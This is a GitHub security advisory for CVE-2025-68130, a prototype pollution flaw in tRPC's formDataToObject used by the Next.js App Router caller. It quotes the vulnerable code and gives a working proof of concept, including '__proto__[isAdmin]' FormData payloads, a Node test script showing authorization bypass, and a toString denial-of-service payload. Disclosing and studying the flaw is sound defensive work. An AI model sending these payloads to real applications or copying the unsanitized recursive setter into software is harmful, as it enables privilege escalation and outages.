GitHub Advisoryadvisory · npm

GHSA-43p4-m455-4f4j tRPC has possible prototype pollution in `experimental_nextAppDirCaller`

HIGH Published 2025-12-16 Modified 2025-12-16 Official page ↗
Aliases
CVE-2025-68130
Ecosystem
npm
Packages
@trpc/server
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L
Weaknesses
CWE-1321
Reviewed
2025-12-16

Affected packages

• npm @trpc/server: >= 10.27.0, < 10.45.3 → fixed in 10.45.3 • npm @trpc/server: >= 11.0.0, < 11.8.0 → fixed in 11.8.0

Description

> Note that this vulnerability is only present when using `experimental_caller` / `experimental_nextAppDirCaller`. Summary A Prototype Pollution vulnerability exists in `@trpc/server`'s `formDataToObject` function, which is used by the Next.js App Router adapter. An attacker can pollute `Object.prototype` by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts. Affected Versions • Package: `@trpc/server` • Affected Versions: >=10.27.0 • Vulnerable Component: `formDataToObject()` in `src/unstable-core-do-not-import/http/formDataToObject.ts` Vulnerability Details Root Cause The `set()` function in `formDataToObject.ts` recursively processes FormData field names containing bracket/dot notation (e.g., `user[name]`, `user.address.city`) to create nested objects. However, it does not validate or sanitize dangerous keys like `__proto__`, `constructor`, or `prototype`. Vulnerable Code ```typescript // packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts function set(obj, path, value) { if (path.length > 1) { const newPath = [...path]; const key = newPath.shift(); // ← No validation of dangerous keys const nextKey = newPath[0]; if (!obj[key]) { // ← Accesses obj["__proto__"] which returns Object.prototype obj[key] = isNumberString(nextKey) ? [] : {}; } set(obj[key], newPath, value); // ← Recursively pollutes Object.prototype return; } // ... } export function formDataToObject(formData) { const obj = {}; for (const [key, value] of formData.entries()) { const parts = key.split(/[\.\[\]]/).filter(Boolean); // Splits "__proto__[isAdmin]" → ["__proto__", "isAdmin"] set(obj, parts, value); } return obj; } ``` Attack Vector When a user submits a form to a tRPC mutation using Next.js Server Actions, the `nextAppDirCaller` adapter processes the FormData: ```typescript // packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89 if (normalizeFormData && input instanceof FormData) { input = formDataToObject(input); // ← Vulnerable call } ``` An attacker can craft FormData with malicious field names: ```javascript const formData = new FormData(); formData.append("__proto__[isAdmin]", "true"); formData.append("__proto__[role]", "superadmin"); ``` When processed, this pollutes `Object.prototype`: ```javascript {}.isAdmin // → "true" {}.role // → "superadmin" ``` Proof of Concept ```bash Step 1: Create the project directory mkdir trpc-vuln-poc cd trpc-vuln-poc Step 2: Initialize npm npm init -y Step 3: Install vulnerable tRPC npm install @trpc/[email protected] Step 4: Create the test file ``` --- Test.js ```javascript const { formDataToObject } = require('@trpc/server/unstable-core-do-not-import'); console.log("=== PoC Prototype Pollution en tRPC ===\n"); console.log("[1] Estado inicial:"); console.log(" {}.isAdmin =", {}.isAdmin); const fd = new FormData(); fd.append("__proto__[isAdmin]", "true"); fd.append("__proto__[role]", "superadmin"); fd.append("username", "attacker"); console.log("\n[2] FormData malicioso:"); console.log(' __proto__[isAdmin] = "true"'); console.log(' __proto__[role] = "superadmin"'); console.log("\n[3] Llamando formDataToObject()..."); const result = formDataToObject(fd); console.log(" Resultado:", JSON.stringify(result)); console.log("\n[4] Después del ataque:"); console.log(" {}.isAdmin =", {}.isAdmin); console.log(" {}.role =", {}.role); const user = { id: 1, name: "john" }; console.log("\n[5] Impacto en autorización:"); console.log(" Usuario normal:", JSON.stringify(user)); console.log(" user.isAdmin =", user.isAdmin); if (user.isAdmin) { console.log("\n VULNERABLE - Authorization bypass exitoso!"); } else { console.log("\n ✓ Seguro"); } ``` Impact Authorization Bypass (HIGH) Many applications check user permissions using property access: ```javascript // Vulnerable pattern if (user.isAdmin) { // Grant admin access } ``` After pollution, all objects will have `isAdmin: "true"`, bypassing authorization. Denial of Service (MEDIUM) Polluting commonly used property names can crash applications: ```javascript formData.append("__proto__[toString]", "not_a_function"); // All subsequent .toString() calls will fail ```

Related

Alias · CVE (1)

  • CVE-2025-68130 tRPC allows users to build and consume fully typesafe APIs without schemas or code generation. vulnerability

Weakness · CWE (1)

  • CWE-1321 Improperly Controlled Modification of Object Prototype Attributes weakness

References